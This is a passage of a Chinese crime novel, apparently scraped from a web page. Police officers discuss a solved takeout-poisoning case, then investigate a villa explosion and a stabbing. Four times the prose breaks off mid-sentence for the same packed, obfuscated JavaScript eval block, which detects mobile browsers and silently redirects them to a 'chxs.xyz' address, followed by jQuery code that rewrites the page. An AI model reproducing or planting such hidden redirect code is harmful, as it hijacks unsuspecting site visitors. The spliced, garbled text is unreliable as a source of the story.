“可以啊,”这么一说,陆闻觉得自己还真有些饿了,“正好我们也好久没一起吃饭了,走吧。” 言罢,陆闻把案卷整理好,然后起身穿上外套,跟着两人一起出了分局。 从城东分局出来穿过马路之后,再走一段路拐个弯儿,就到了城东区有名的美食一条街。 在这些个色香味俱全,摆着各色小吃的摊位前,几人最终选定了一家炒菜馆,正要进去时,苏乐突然看见对面排着队的烧烤摊,于是又拉上林一然过去买烧烤。 陆闻选了二楼的一个位置坐下,大概等了几分钟之后,便拿起桌上的菜单开始研究起来。 “不好意思来晚了。” 陆闻闻声抬头,只见齐况已经在自己的对面坐下,然后脱下外套搭在后面的椅背上:“怎么只有你一个人在?” “噢,那两个小年轻去买烧烤了。”陆闻揣着手,一副老干部的模样。 齐况被他的表情逗得笑出声来,后者却一脸疑惑:“怎么了?” “没……” “齐哥来啦,”齐况的话还没来得及说完,林一然和苏乐却在这时上了楼,“吃串儿吗?” 齐况笑着摇摇头:“不用了,谢谢。” 陆闻却一把接过林一然递来的烤肉串,而后放在嘴边咬了下去:“嗯,这家烤的确实不错。” “那是,人可多,排了好长的队呢。”林一然说着,在苏乐的对面坐下,然后拿起面前的菜单,“还没点菜吗?” “我老样子就行。”陆闻把剩下一半的串儿放在盘子里,然后又揣着手靠在椅背上,“齐况,别客气,想吃什么随便点,这家店的菜都还可以。” “我都行,你们推荐吧。” 闻言,林一然便来了兴趣:“好啊,我经常点这家的菜,最会推荐了。” 林一然胸有成竹,可在和苏乐低头对着菜单研究了十几分钟后,两人最终还是决定,只点这里的几样招牌菜就行。 等菜上桌的空隙,陆闻突然想起了之前韩唐提过的那起案子:“那个,上次去韩唐那儿,他说的邻市的那个什么案子,是怎么回事儿啊?” 齐况刚开始还有些懵,在反应过来陆闻口中的案件,正是自己之前参与侦查的那起案件后,才仔细回忆道:“那个啊……” “一名男性在自己家中遇害,报警的是其新婚不久的妻子,称受害者在吃完外卖不久后就口吐白沫,随后失去意识。” “外卖?” “对,而且我们在外卖盒和剩余的食物残渣中,也确实提取到了与受害者体内同类的药物。不过在商家的后厨监控中,我们并没有发现投药和疑似投药的画面。” 一旁的苏乐突然开口道:“如果不是商家,那就只有两种可能,外卖员在送餐途中投放了药物,或者是受害者妻子投放了药物。” “没错。”齐况点点头,继续说道,“后来警方调查了受害者的社会关系,发现受害者与那名外卖员并没有过交集,缺乏作案动机。” “那受害者的妻子,岂不就是最大的嫌疑人了?” 齐况看向说这话的林一然,点头道:“在一一排查之后,我们确实将受害者妻子定为了最大嫌疑人,只是在进一步的了解之后,我们发现其妻子在早年父母去世,且已经怀孕八个月,除了受害者,她没有其他人可以依靠。” “除此之外,嫌疑人当时是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985460|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在孕晚期,并不常出门,大部分时间都是由受害者出去购买生活用品,因此嫌疑人并没有购买药物的机会。” “啊,那这不就走进死胡同了?” “嗯。”齐况点点头。 在这之后,他们确实没了调查方向,嫌疑人无作案动机和购买作案物品的记录以及作案痕迹,总不能是受害者自己在外卖里投了药而后自杀的。 “那后来是怎么侦破案件的呢?”一直没开口的陆闻突然问道。 “可以说,是作案人自己告诉我的。”齐况和陆闻对视一眼,而后才缓缓开口道,“因为案件一直没有进展,后来我又去了一趟案发现场,正巧碰到对门出来扔垃圾。” “他看见我站在案发现场门口,首先是眼神躲闪,我试探着问他知不知道这里发生了什么事,他却说自己在一周前就去了外地出差,直到今天下午才回来,所以对这里发生的事情并不知情。” “我记得,当时是晚上的八点左右,他提着一包厨余垃圾和一包生活垃圾,且厨余垃圾里,大多数是些新鲜或较为新鲜的菜叶和方便食品包装袋。” “单身独居,如果只是一顿晚饭的时间,按理说不会产生这么多的垃圾。我觉得他有可能在说谎。” “后来我们查了他的行程,并没有他所谓一周之内的出行记录,且经调查发现,其与受害者之间确实有过不愉快。谁知,就在我们锁定目标去找人的时候,人已经跑了,还是在车站抓到的。” “那作案人,是怎么在外卖里投毒的呢?” “作案人在经过一段时间的观察之后,就掌握了对方基本的生活规律,会不会点外卖,什么时候点外卖,或者点了外卖之后,是否会直接把外卖拿进去。然后只要在受害者点外卖的那天,将事先准备好的药物,从外卖盒的散热孔里注射进去。” 苏乐倒吸一口凉气,不禁感叹道:“很多人在点了外卖之后,可能都会因为来不及而让外卖员先放在门外,没想到生活中这种习以为常的事情,会被人钻了空子。” “所以啊,危险其实离我们真的很近。在生活中,人民要提高安全防范意识,而身为警察的我们,更要预防和制止一切犯罪活动的发生。” “可以啊一然,”陆闻按住林一然的肩膀,满脸欣慰的表情,“今年就由你代表我们刑侦部门上台讲话啦。” 一旁的苏乐没忍住笑出声来。 “啊?”林一然看着陆闻满脸认真,顿时没了刚才那般的气势,“可是陆队,到时候下面坐着那么多其他部门的同事,我怕说不出来会给你丢脸……” “我相信你。”话音未落,陆闻立刻站起身,而后按了按林一然的肩膀,“我先下去结账,你们没人打包的话,我就打包带回家了啊。” “我这……”陆闻没走多远的时候,林一然突然意识到了哪里不对,“不是陆队,说好了我请客的啊。” 林一然追着陆闻下了楼,等到人再上来的时候,只见陆闻拿着打包盒,身后还跟着让他收款的林一然。 苏乐对这种情况似乎已经见怪不怪,只是帮着陆闻一起,将剩下的菜倒进打包盒里。 所以齐况从洗手间里出来的时候,就看到林一然正拉着陆闻不知在说些什么,只有苏乐在一旁收拾。 “怎么了这是?” 陆闻啧了一声,而后拎过苏乐递来的方便袋:“没事儿,走吧。” 5. 折枝花 从炒菜馆出来的时候,已经将近晚上的11点半,路边的小摊前都还围着人,好像比他们过来之前还要热闹些。 “陆队,那我先走了。”苏乐朝几人挥了挥手,“齐哥,一然再见。” “好,”陆闻点点头,“路上小心点。” 齐况和林一然随后也朝她挥了挥手。 眼见着苏乐的身影消失在人海里,林一然打了个哈欠,将目光移到两人身上:“那我也先回去睡觉了,陆队齐哥,明天队里见。” “嗯,路上慢点。” “明天见。” 送走了两人之后,陆闻回过头看了眼身旁的齐况:“你不走吗?” “走啊。”齐况顿了顿,而后又笑道,“对了,今天多谢陆队请客。” “哎呀,”陆闻拍了拍齐况的肩膀,正色道,“以后呢,大家就是共同进退的同事了,谢不谢的太见外。” 见齐况点头,陆闻有些欣慰地笑了笑:“好了,早点回去吧。” “嗯,陆队再见。” 和齐况分开之后,陆闻开着车一路回到自己居住的小区,上了楼准备开门时,才发现门没上锁。 他便推开门换了鞋进去:“妈?” 见无人应,陆闻走到餐桌前将打包盒放下,而后往阳台那边走去,只见一位身形高挑的中年女性正拿着晾衣杆,地上的洗衣盆里还有几件没来得及晾上的衣服。 这名中年女性叫李如芳,正是陆闻的母亲。 “妈,你怎么来了,”陆闻连忙上前,要接过李如芳手里的东西,“我来吧。” “哎——”李如芳将陆闻伸过来的手挡住,而后将衣服挂在晾衣绳上,“你平时查案子这么累,还是我来吧。” 陆闻挠挠头,左右站着也不是,就拿起一件衣服撑在衣架上,然后递给了李如芳:“吃晚饭没?上次从家里带来的饺子我还没动,要不我去给你下一碗?” “不用啦,我吃了饭来的。”李如芳把最后一件衣服挂上,然后就端着盆进了卫生间,“倒是你,我看那冰箱里什么也没有,平时还是要少吃外面的东西,不健康。” “也没吃过几次……”陆闻小声地嘟囔了一句。 这倒是真的。 他们平时的工作量比较大,陆闻早上过去的时候,基本都是在局里的食堂随便应付几口,有时候晚上加班没空吃饭,回了家之后倒头就睡。 除了午休时间能好好吃上一顿,坐在外面吃饭的机会基本不多。 “对了,爸最近怎么样?” 李如芳正坐在沙发上叠刚收下来的衣服:“还能怎么样,除了吃饭睡觉,就是去楼下和他的几个棋友下棋呗。” 说到这里,李如芳又把刚叠好的衣服放下,然后紧盯着在对面坐下的陆闻:“我和你爸现在什么都不想,就操心你的事儿。” “我这每天啊,除了做做家务都不知道该干什么,你说你这也老大不小了,还不赶快结了婚,也好让我和你爸抱上……” “得得得得得……”陆闻被吓的立马放下水杯,及时拦住了李如芳接下来的话,“妈,你要是实在闲得慌,楼下跟着王阿姨他们跳广场舞不是挺好的?” “再说了,我不是说过很多次了嘛,我这刚升上大队长,队里那陈案新案都快堆成小山了,我哪有空谈对象啊。” “我都听你说了四年的没空了,你今年可都31了,总不能等到41的时候,才想起来要结婚吧?” 陆闻知道自己和李如芳说再多也没用,于是就捧着杯子一直喝水,不再与她争辩。李如芳被气的差点就要跳起来,谁知却在下一刻,陆闻放在桌上的手机响了起来。 陆闻像得了救星,慌忙拿起手机按下接听键:“喂,好,我马上过来。” 李如芳见自己儿子在挂了电话之后,就慌忙站起身穿上外套准备离开,也紧随其后跟了上去:“怎么了小闻?” “刚队里来电话,又有新案子需要我过去,妈你不用等我了,先睡吧啊。”陆闻趁着换鞋的空当嘱咐了李如芳几句,然后就拿过钥匙快步走出去。 从自家小区出来后,陆闻开着车一路驶去了案发现场。在蓝海市城东区的一片别墅区内,一栋别墅里突然发生了爆炸。 陆闻赶到的时候,案发现场已经在外围设下了警戒线,同时路边还停着一辆消防车。 他从警戒线进到里面,走到正在门口拍照取证的一位警员身边:“现场什么情况?” “陆队,”那名警员招呼了一声,然后开始向他说明情况,“晚上的十二点左右,这里发生了爆炸,周围住户先是打了消防电话,后来消防那边在救火时发现了一具尸体和疑似炸药,这才向我们这边报了警。” “好,继续忙吧。”陆闻拍了拍那位警员的肩膀,然后才绕过他进到案发现场里面。 现场爆炸的范围大概波及到了整个别墅一楼的左边客厅,且根据现场的爆炸/痕迹推测,爆炸/装置当时很有可能就在客厅的沙发周围。 不过最开始消防在灭火的时候,不可避免的冲刷掉了一些线索,所以之后的工作可能会有些困难。 技术部门的警员正在附近进行取证,陆闻顺着现场痕迹,一路来到了尸体旁边。他蹲下身,仔细观察着尸体的被烧焦程度,以及周围物品的受损程度。然后,又将目光锁定在了那边的爆炸/物上。 “陆队。” 两个声音同时在陆闻的身后响起,陆闻回过神转头看去,原来是齐况和韩唐二人:“呦,你俩这是坐同一班车到站的?” 韩唐和齐况对视一眼,而后拎着工具箱去了尸体那边,后者则是径直走到陆闻的旁边蹲下:“这里就是爆炸/点?” “嗯,”陆闻点点头,旋即补充道,“不过,具体还要看技术那边的同事怎么说。” 齐况了然。 他站起身朝周围环视一圈,而后往距离沙发不远的落地窗那边走过去,客厅的落地窗玻璃由于爆炸已经被震碎,几块玻璃也掉落在了外面小花园的空地上。 他在落地窗前站定,抬头往外看时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985461|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能越过小花园看见别墅外围的篱笆栅栏,栅栏上还攀缠着几丛花藤。 “不过,具体结果还要等到进一步的检验之后才知道。” 齐况过去的时候,韩唐正与陆闻交代初步的尸体检查结果。待人走后,齐况才问了一句:“怎么样了?” “死者应该是因为,爆炸引起火灾之后的窒息死亡。”陆闻顿了顿,继续补充道,“我在尸体附近发现了一部手机,不知道还能不能用。对了,我还在沙发前的茶几底下,发现有治疗哮喘的药物。” “窒息死亡,哮喘……”齐况稍微消化着陆闻给出的线索,而后又像是突然想到了什么,“哦对了,我问了技术部门的同事,引发爆炸的爆炸/物,应该是用化学品自制的爆炸/装置。” “根据尸体的位置,爆炸当时或许并没有致人死亡,而是在火灾发生之后,死者因吸入大量烟尘才造成了窒息死亡。” 齐况点点头,根据已有线索,确实可以先这么推测。那么接下来,就需要确认死者身份和她生前的社会关系。 “陆队,”就在两人正低着头闷声思考时,一名警员突然过来在两人面前站定,“我们查到这栋别墅并不属于死者,而是一名叫池乔的男性。” “池乔,27岁,池氏电子科技领头人的小儿子。”陆闻站在白板前,将池乔的照片贴在上面,然后转过身面向大家。 “池乔毕业后就进了自家公司,一直跟在大哥池万笙后面工作,2019年在城东新建成的别墅区买了栋别墅,也就是本案的案发现场。” “城东别墅区从建成到现在不过一年多的时间,监控设施并不完善,而且周围的住户很少,具体的爆炸时间也就没那么准确。” “再加上消防之前在救火时,不可避免会冲掉一些证据,所以现场取证的难度很大,只知道消防那边,是在9号凌晨的十二点十分接到电话,之后在十二点四十分左右发现了疑似爆炸/物。” 陆闻顿了顿,而后将目光移到正坐在会议桌前的齐况身上:“齐况,你说一说在现场发现的情况。” 齐况点头应了一声,而后抬手拿起桌上的照片,又走到白板前站定。他将那些照片依次在白板上粘好,才按着顺序开口道—— “首先,在案发现场发现的爆炸/物经过技术部门的同事检验后得知,是由化学品制成的爆炸/装置。” “现场除了因爆炸/损毁的物品之外,在距离爆炸/物大概五米左右的位置,有一具被轻度烧焦的女尸,目前还在由韩法医进行尸检,结果可能要晚些才能知道。” “此外,陆队还在现场的茶几底下发现一瓶治疗哮喘的药物,该药物是属于池乔,或是死者生前患有哮喘,具体还得等韩法医的鉴定结果出来。” 陆闻坐在一旁转动着手中的记录笔,待齐况说完,他转笔的手一顿,而后将目光移到正坐在会议桌两侧的同事。 “先从池乔下手。天亮之后找个时间联系池乔过来,时候不早了,大家该回去休息的,都先回去休息吧。” 6. 折枝花 陆闻大概猜到韩唐现在应该还在对受害者进行尸检,所以从会议室出来后,他就直接去了法医鉴定中心。 照常走到法医工作室前敲门,谁知就在陆闻等着里面人的答复时,却见韩唐从对面的办公室里走出来—— “韩法医。” “陆队,”闻声,韩唐将目光从手中的四方记录本,移到了站在自己斜对面不远处的陆闻身上,“鉴定结果可能还要再等一等。” “没事儿,我就过来看看。”陆闻摊了摊手,看着走到自己面前站定的韩唐,“怎么样,有什么发现吗?” “死者年龄大概在24岁至30岁之间,身体无其他创伤,符合生前窒息死的特征,死因是烟气窒息死亡。” “至于其他的信息,”韩唐顿了一顿,将手里的记录本递到陆闻面前,“你先看看这个吧。” 陆闻没说话,接过韩唐递给他的东西后,低头仔细查看了一番:“能确定死者有无生前病史吗?” “如果你们那边有需要,可以。” 齐况刚进大队办公室,就碰见陆闻端着保温杯准备往询问室那边过去:“陆队。” “呦,齐况啊。”陆闻停下脚步看他一眼,然后朝他摆了摆手,“正好,和我去询问证人。” “好。” 齐况应了一声,然后赶紧放下包,紧跟着追了上去。刚才他注意到陆闻眼下的黑眼圈,想来是又在队里熬了一个通宵。 两人一前一后进了询问室,池乔翘着二郎腿正靠在椅背上,见有人进来在自己对面坐下,才不紧不慢地放下腿坐直身体。 “警察同志,我还有事,麻烦能快点儿吗?” 陆闻没抬头,只是微微掀起眼帘看他一眼,而后翻开桌上的记录本:“报一下个人信息。” “池乔,27岁,蓝海本地人,家住蓝海市城东郊区的池家别墅,现在在池氏电子科技工作。” 短短几句话,因为池乔的不愿配合,被断断续续的不知分了多少次说出来。 陆闻耐着性子:“城东新别墅区路口的监控显示,你在5月8日晚10点17分驾车进去,又于当晚的11点48分驾车出来,这期间你在做什么?” 池乔嗤笑一声,身体后仰靠在椅背上:“那别墅是我去年买下的,是我家,我回个家还需要向你们警察汇报啊?” “池乔,请你注意态度。”齐况在旁边提醒了一句。 只是他长的不具攻击性,语气也实在没什么杀伤力,对付像池乔这样心高气傲,又有家世背景作为依靠的富二代,基本没什么用。 倒是一转眼,看见陆闻那双鹰一般锐利的眼睛之后,池乔才不动声色地坐直了身体—— “因为工作的原因,周一至周四我在家里住,只有每周五才会回别墅住一晚上。那天我回去之后没过多久,我哥突然打电话让我回家一趟,我就回去了。” “那白薇呢?” 闻言,池乔的脸色突然变得难看起来,却又很快恢复正常:“白薇,和白薇有什么关系?” 陆闻没立刻说话,只是从记录本的书页间拿起一张照片,放在了他和池乔之间:“白薇,26岁,池氏电子科技公司的员工。在5月9日凌晨的12点之后,我们在你的别墅里,发现了她的尸体。” “池乔,现在的情况特殊,希望你能积极配合我们的调查,作假证词影响办案,重则涉及违法犯罪,想必你不会不明白。” 池乔没立刻说话。似是在脑内左右权衡了一番之后,才缓缓开口道:“没错,我确实认识白薇。她是两年前进我们公司的,当时什么也不懂,还经常因为做错事被骂,我就多留意了些。” “是普通同事关系吗?她为什么会出现在你家?” “我和她确实是普通同事关系。只是平时我多帮着她些,她就以为我喜欢她,还闹着要和男朋友分手,我就开始躲她了。” “她知道我每周五都会回自己家,就在下班之后去了别墅等我,不过,后来我们发生了争执,再加上我哥打电话找我,我就离开了。” “什么争执?” 池乔有些不耐烦地啧了一声:“她非求着我,要我和她在一起。” “对于你家发生爆炸这件事,你并不知情吗?” 池乔没再说话,只是摇了摇头。陆闻重新拿出一张照片,放在了池乔面前:“这个你见过吗?” 池乔点点头,如实道:“这药瓶白薇随身带着,她有哮喘。” 陆闻和齐况送完池乔回来时,林一然正好从技术那边过来:“陆队,在现场发现的那部手机确实是白薇的,不过已经不能用了。” “有人报失踪案吗?” 林一然摇摇头:“白薇的家属并不在蓝海市,其人际关系,我们目前正在调查,不用多久就会出结果。” 陆闻若有所思地点点头,随后拿出手机放在自己和林一然之间:“这是白薇的男朋友,听池乔说叫高子凌,你去查一下。” “好。”林一然应了一声,而后转身绕过两人离开。 在法医鉴定中心熬了一个通宵,突然闲下来之后,陆闻才觉得自己有些饿。他下去随便买了些早点,着急忙慌的吃完之后,那边林一然的结果正好也出来了。 高子凌,现住在蓝海市城东老城区的一栋出租楼里,陆闻和齐况开车跟着林一然发的地址过来,而后上楼敲了敲那扇有些破旧的木门。 却无人应。 两人对视一眼,随后陆闻又抬起右手敲了几下,力道比刚才重了几分。这下终于有人开门了,只是开门的,是住在隔壁的一位年轻女性。 只见她探出身子往这边看过来,脸上的表情有些不耐烦—— “没人还敲敲敲,招魂儿呐?” “不好意思,”跟在后面的齐况从口袋里掏出警察工作证,而后举在自己和那年轻女性之间,“我们是城东分局刑侦大队的警察,过来了解一下情况。” “警察……”那年轻女性立刻站直身体走出来,而后将身后的木门虚掩了些,“出什么事儿了吗?” 陆闻没回答,只是指了指那扇紧闭着的木门:“这里是白薇的家吗?” “对,不过她和她男朋友一起住。” “高子凌?” “对。” “他们现在都不在家?” 那年轻女性没立刻回答,偏过头想了好一会儿才开口道:“应该是,从昨晚我就没见他们家亮灯,一直到现在也没看见有人回来。” “那方便能问些问题吗?” “可以是可以……”那年轻女性有些犹豫,却还是推开门,侧过身给两人让开了路,“先进来吧。” 大概是有些职业习惯在身上,两人才刚进屋,陆闻就下意识地开始观察起这里的陈设。 出租屋里没有多余的房间,木桌摆成的简易灶台放在门口的窗台下,上面已经被烟熏的有些发黑,唯一隔开客厅和卧室的,就是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985462|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块打着补丁的卡通床帘。 “请坐吧。”那年轻女性随后跟进来,却在看到窗帘后探出的小脑袋后,提高音量喊了句,“看啥子看,抓紧写作业!” 闻言,那小脑袋的主人抖了一抖,而后立刻将自己藏在了窗帘后面。 那年轻女性便在两人对面坐下:“在这里租房子的,基本都是干苦力和外省过来打工的穷人。” 两人这才将注意力,从刚才的小家伙那里移过来,那年轻女性耸了耸肩,继续道:“白薇也是。其实我对她了解不多,只知道她是来这里上大学,毕业后就直接留在这里找了工作。” “那高子凌呢?” “高子凌?”听到这个名字后,那年轻女性的脸上,明显多了些嫌恶的表情。 “他是一年前搬过来和白薇住的,据我所知,那男的没工作,还一身的坏习惯。其实,白薇要不是拿钱养着他,早就不用住在这破地方了。” “白薇身体不好,对吗?” “嗯,”那年轻女性点点头,“白薇有哮喘,好几次和高子凌因为吵架症发,我都在场。” “尤其是前段时间,两人不知是因为什么吵起来的,就听见高子凌一直喊着‘是不是分手之后好跟他在一起’什么的。” 陆闻和齐况互相对视一眼,从这话倒也不难猜出,应该是因为池乔的存在,白薇要和高子凌分手的那段时间。 只听见年轻女性继续说道:“我大概也能猜到,白薇应该是遇见了其他人,回来和高子凌提分手的。” “当时两人争执的很厉害吗,比如,高子凌有无过于偏激的行为?” 闻言,年轻女性仔细回想着当时的情况,而后摇摇头:“就是单纯吵架,应该是碍着白薇有哮喘,高子凌没敢对她动手。” “那后来呢?” “后来白薇就走了,走了大概有三四天吧,又回来了。当时我还找她说话来着,她就一直哭,我问她怎么了,她就只说男人没一个好东西。” 或许是反应过来,面前坐着的正是两名男性警官,那年轻女性有些尴尬地笑了笑,立刻摆手解释道:“当然了,人也不能都一棒子打死,毕竟好男人还是挺多的,对吧。” 陆闻没回答,只是轻咳一声,旋即示意她可以继续。 “看她哭的那么伤心,我也没忍心多问,只知道她新找的那个男人,好像也靠不住。至于其他的,我就不知道了。” “好,谢谢你的配合。” 陆闻看了眼旁边正在记录的齐况,而后碰了碰他的手臂:“那我们就先不打扰了,如果后面再有什么情况,还请您能继续配合。” “警察同志!” 两人已经起身出了房门,那年轻女性却在这时追出来,抓住门框问了一句:“是白薇,她出什么事了吗?” “不好意思,这个我们不能说。”就算陆闻不说,可哪里要是真有警察上门的情况,谁大概都能猜出些什么。 那年轻女性搭在门框上的手指紧了紧,音量不大不小,似是和陆闻两人说话,又像是在说与自己听—— “白薇是个好姑娘,她值得去更高更美的地方,而不是一辈子被困在这种腐烂发臭的出租楼里。” 陆闻的车停在距离出租楼的不远处。两人从楼上下来后,他就坐在驾驶位上,紧盯着二楼白薇家的方向,良久。 他像是要把那扇破旧的木门盯出个窟窿,好能直接看清楚在那木门之后,被掩盖住的真相。 7. 折枝花 “找到高子凌了吗?”刚回队里办公室,陆闻就找到了负责本起案件的几位警员。 正在电脑前查看监控的苏乐回过神,抬起头面向陆闻答道:“老城区那边没什么监控,路口仅有的几个设备老旧,看不太清人脸,不过目前我们正在查找可用线索。” “嗯。一然呢?” “受害者家属刚才过来了,二老听说女儿出事后一直很激动,一然应该在接待室那边安抚两位老人的情绪。” 陆闻若有所思地点点头,却在下一刻瞥见旁边似乎正在想些什么的齐况:“那正好,你再和我跑一趟吧。” “好。” 两人便一前一后出了分局。 陆闻弯身钻进车里,而后将安全带系好,等齐况也坐上副驾驶之后,才缓慢将车子启动。 齐况没问陆闻他们这是准备去哪儿,不过行驶了好一会儿后,他大概也认出了这条路是要通往哪里:“现在去现场?” “嗯。”陆闻微微皱起眉头,若有所思道,“我总觉得在现场,还有什么东西是我们没发现的。” “如果案发现场的钥匙,只有池乔和白薇有,且作案人不是池乔,那么真正的作案人,是如何进去放置爆炸/装置的呢?” “负责对现场搜查的同事说,大门的门锁并没有被撬动过的痕迹,如果作案人是从其他地方进去的,就一定会留下作案痕迹,只是我们还没有发现。” 陆闻没再说话,只点点头,算是同意齐况的想法。 车子缓缓驶进别墅区,又顺着柏油路走了不一会儿,就停靠在了刚发生爆炸案的独栋别墅前。 陆闻带上需要用到的工具,便和齐况一起开门进了案发现场。 空气中还弥漫着火灾后遗留下的烟尘和烧焦味,陆闻不由自主地皱起眉头,而后将手套和鞋套递给旁边的齐况。 别墅靠南的大落地窗上的窗帘被烧焦了大半,微微西斜的太阳便透过落地窗,将碎金洒落在屋内的地板和墙上。 同样的,齐况也注意到了距离落地窗不远的,落在沙发下面那似有似无的,闪烁着光亮的碎玻璃。 他戴好手套,而后顺着目光走上前去,仔细观察着碎玻璃和落地窗之间的距离。 当时爆炸是在客厅的沙发附近发生,按照落地窗到沙发的距离,产生的冲击应该会将玻璃片炸落在落地窗的外侧。 如果是在室内有残留的话…… “哎呦我说——”空旷的房间里,陆闻的声音显得格外响亮,“这哥们儿真行啊。” 齐况被他突来的一声拉回思绪,而后站起身朝他走过去。 陆闻正站在客厅墙边的矮柜前,因为距离爆炸点比较远,所以这里的柜子并没有什么太大的损坏。 “怎么了?” “噢,”陆闻将手里的相册合上,不动声色地举到齐况面前,“感兴趣啊,给你看看?” 眼见着齐况从自己手中接过相册,陆闻若无其事地移开目光,又弯下身继续摸索着柜子里的其他物品。 齐况自然没注意到眼前人有什么异常,只是随意翻开其中的一页,却在下一刻猛地将相册合上。 他转动眼珠,悄悄看了眼背对着自己,还在柜前搜索的陆闻,而后将相册放下,转身去了其他地方。 陆闻过去的时候,齐况正站在楼梯前,看着墙上挂着的一副照片,照片中的人物,正是池父和池家两兄弟。 “怎么样了?” 齐况回过神,看了眼同样盯着照片的陆闻:“听说池家两兄弟,并不是一母所生?” “嗯,”陆闻点点头,向他解释道,“池家老大是原配的孩子,从小品学兼优,大学毕业后直接进了池家的公司学习,能力出众,后来池玉林退位让贤,他将公司打理的也是井井有条。” “至于池乔,他是池家老爷子在外面的孩子,听说成年之后才回的池家。和池家老大不同,池乔平时吃喝玩乐样样在行,不过池乔是小儿子,再加上幼年在外受苦,池老爷子也就放任着了。” 齐况紧抿着唇,似在消化陆闻刚才的话,而后却突然笑了:“真没想到,陆队连这些都知道?” 陆闻耸了耸肩,撇嘴道:“像他们这些人物有个啥事儿媒体都会报道,你去外面随便抓个人问问,比我知道的还清楚。” 齐况重新折回到沙发前,陆闻随后也跟了上去:“你看这里,像不像是落地窗上的玻璃?” “暂时不能确定,不过可以带回去找技术部门的同事看看。”陆闻说着,仔细将破玻璃片捡起,然后放在证据袋里封好,“你是觉得……” “嗯。”齐况点点头,抬眼正对上陆闻的眸子,“我觉得作案人,很有可能是从落地窗进来的。” 落地窗连接的是别墅客厅和外面的一片小花园,石板小路穿过草丛和花簇,一直延伸到最外围的篱笆栅栏前。 齐况和陆闻一前一后穿过小路,而后在篱笆前站定。 “你看这里,”齐况蹲下身,抬手轻拨起地上的植物,“花瓣明显有被踩踏过的痕迹,长在下面的叶子也陷进了泥里。” 陆闻微微皱眉,回过身看向小路那头的落地窗:“我等会儿通知他们过来,检查这条小路上面的脚印,作案人很有可能是从这里进去的。” 从案发现场回到队里时,陆闻叫了负责本案的几名警员过去讨论:“案件现在有了新的进展。齐况在现场发现了碎玻璃,还有花园里的一个脚印,技术部门的同事对现场进行复勘之后,发现脚印并不属于白薇和池乔。” “且据技术部门的同事说,碎玻璃与落地窗的玻璃出自同一种,所以作案人很有可能就是翻越了栅栏,然后穿过花园打碎玻璃,从而进入案发现场放了爆炸/装置。” “一然,明早你带着人去白薇家,看看高子凌的鞋印有没有与案发现场相符合的,如果高子凌正好在,直接把人给带回来。” “好。” “苏乐那边的监控查的怎么样?” “在别墅区入口的监控里,发现在案发当晚的八点之后,有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985463|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人戴着口罩和鸭舌帽进出过。因为进出那里的基本都开着车,除白薇外,我们只发现了这一个人,不过目前还不能判定为作案人。” 陆闻点头表示理解:“那关于高子凌的动向呢?” “出租楼外的路口有一个监控,我们发现高子凌在5月8日的早上7点左右买了早饭,之后就回了出租楼一直没出去。” “一直没出去?” “嗯,”苏乐如实点头,“在之后的时间里,我们并没有在监控里发现有高子凌的身影。” 那就奇怪了。 陆闻微微皱起眉头,明明他和齐况去白薇家的时候,根本就没有人开门,难道当时高子凌是故意躲在屋里不出来的? “带几个人去白薇家楼下守着,一旦有发现了立刻联系我。” “嗯。” 第二天一早,林一然就带着几名警员一起去了老城区的出租楼。 陆闻靠在队长办公室的办公桌前,双手插兜,对着靠在墙边的白板上的线索图发呆。下一刻,门外突然响起一阵急促的敲门声,陆闻回过神,旋即便看到齐况出现在门口—— “陆队,池乔出事了!” 提前接到通知的警员已经到达了现场,陆闻开车过来的时候,那边正在拉警戒线,外围还聚着一群小年轻。齐况随后下车,跟在陆闻旁边穿过人群,进了案发现场。 “什么情况啊?” “陆队,”正在韩唐身边记录的法医助理转过头,回答道,“是池乔。” 陆闻啧了一声,走到韩唐旁边蹲下,这才看清方才被挡住的尸体:“一刀毙命?” 韩唐摇摇头,注意力却没从尸体身上移开:“还不确定。” 陆闻没再说话,而是起身去了旁边观察整个案发现场。 这是在酒吧和理发店之间的一条小巷里,巷口放着一排垃圾桶,因为是条死胡同,所以平时并没有什么人进来。 